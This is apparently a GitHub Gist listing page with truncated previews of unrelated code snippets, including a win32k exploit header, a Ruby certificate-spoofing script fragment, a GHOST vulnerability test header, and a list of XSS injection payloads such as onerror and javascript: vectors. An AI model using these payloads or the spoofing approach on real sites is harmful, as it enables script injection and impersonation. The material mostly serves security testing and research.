Skip to content

Instantly share code, notes, and snippets.

@nikcub
nikcub / README.md
Created October 4, 2012 13:06
Facebook PHP Source Code from August 2007
@taviso
taviso / ScaleWindow.c
Last active May 9, 2016 12:51
Apparently win32k is not Chuck Norris.
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <winerror.h>
#include <stddef.h>
#include <winnt.h>
#include <limits.h>
@jacking75
jacking75 / jacking75_CSharp_System
Created May 1, 2013 05:38
C# 시스템 프로그래밍
==다른 프로세스 실행==
System.Diagnostics.Process.Start("실행파일경로\실행파일명.exe",파라메터)
System.Diagnostics.Process.Start("cmd.exe 명령어");
==프로세스 종료==
System.Diagnostics.Close(); // 프로세스의 리소스를 해재(종료) 시킨다.
System.Diagnostics.CloseMainWindow(); // UI가 있는 프로세스에 메시지를 보내 종료 시킨다.
System.Diagnostics.Kill(); // 즉시 프로세스를 종료시킨다.
import os
import sys
import re
import hashlib
import csv
import time
import locale
import getopt
require 'rubygems'
require 'openssl'
require 'digest/md5'
key = OpenSSL::PKey::RSA.new(2048)
cipher = OpenSSL::Cipher::AES.new(256, :CBC)
ctx = OpenSSL::SSL::SSLContext.new
puts "Spoof must be in DER format and saved as root.cer"
raw = File.read "root.cer"
cert = OpenSSL::X509::Certificate.new raw
cert.version = 2
@kkung
kkung / result.md
Created August 14, 2014 02:52
RSA library benchmark
  • RMBP 15" / Early 2013(2.4GHz i7, 16GB RAM), CPython 2.7.6
  • rsa==3.1.4
  • pycrypto==2.6.1
  • cryptography==0.5.3
Cryptography PyCrypto RSA
1.0222690105438232 1.453489065170288 4.905964136123657
1.0008471012115479 1.3903019428253174 4.860486030578613
0.9761111736297607 1.3885319232940674 5.226905107498169
@ajchemist
ajchemist / crypto.md
Last active August 10, 2021 10:21 — forked from lifthrasiir/crypto.md
고수준에서 암호학 이해하기

고수준에서 암호학 이해하기

이 글은 메아리 저널에 쓸 목적으로 한동안 작업하던 글입니다. 메아리 특유의 디자인(...)이 싫다면 여기로 링크하셔도 됩니다. 어느 쪽이든간에 의견은 이 아래의 코멘트 란 또는 메아리에 기재되어 있는 메일 주소를 써 주시면 감사하겠습니다. --lifthrasiir

암호학을 사용하는 많은 시스템은 세부적으로 무슨 알고리즘을 쓰는지보다는 그 알고리즘들이 어떻게 연결되어 있는지, 즉 구조가 실제 안전성에 더 큰 영향을 미친다. 따라서 구조와 그 구조를 이루는 빌딩 블럭을 아는 것이 중요한데, 여기에서는 이러한 암호학적 빌딩 블럭과 함께 블럭들이 어떻게 쓰여서 더 큰 구조를 만드는지를 알아 본다.

Key Exchange

키 교환. 두 사람만이 알 수 있는 새로운 키를 만든다. 이 과정이 끝나도 상대방이 내가 아는 사람인진 알 수 없지만 적어도 상대방과 내가 같은 키를 가지고 있다는 건 확신할 수 있다.

/*
* Qualys test program to check for presence of GHOST vulnerability
* For more info: http://www.openwall.com/lists/oss-security/2015/01/27/9
*/
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
@xsscx
xsscx / XSS, Cross Site Scripting, Javascript, Meta, HTML Injection Signatures
Last active June 3, 2024 15:29
XSS, Cross Site Scripting, Javascript, Meta, HTML Injection Signatures
/* Remote File Include with HTML TAGS via XSS.Cx */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-javascript-injection-signatures-only-fools-dont-use.txt */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-http-header-injection-signatures-only-fools-dont-use.txt */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-css-injection-signatures-only-fools-dont-use.txt */
/* Updated September 29, 2014 */
/* RFI START */
<img language=vbs src=<b onerror=alert#1/1#>
<isindex action="javas&Tab;cript:alert(1)" type=image>
"]<img src=1 onerror=alert(1)>
<input/type="image"/value=""`<span/onmouseover='confirm(1)'>X`</span>
@somma
somma / async_request_handler
Last active August 29, 2015 14:16
This is sample code about how to handle synchronous function as asynchronously in `tornado.web.RequestHandler` using `@tornado.gen.coroutine`.
#!/usr/bin/python
# -*- coding:utf-8 -*-
"""
This is sample code about how to handle synchronous function
as asynchronously in `tornado.web.RequestHandler` using `@tornado.gen.coroutine`.
Feel free to suggest idea or nicer python style code.
I'm a newbie to python :-)
by somma (fixbrain@gmail.com)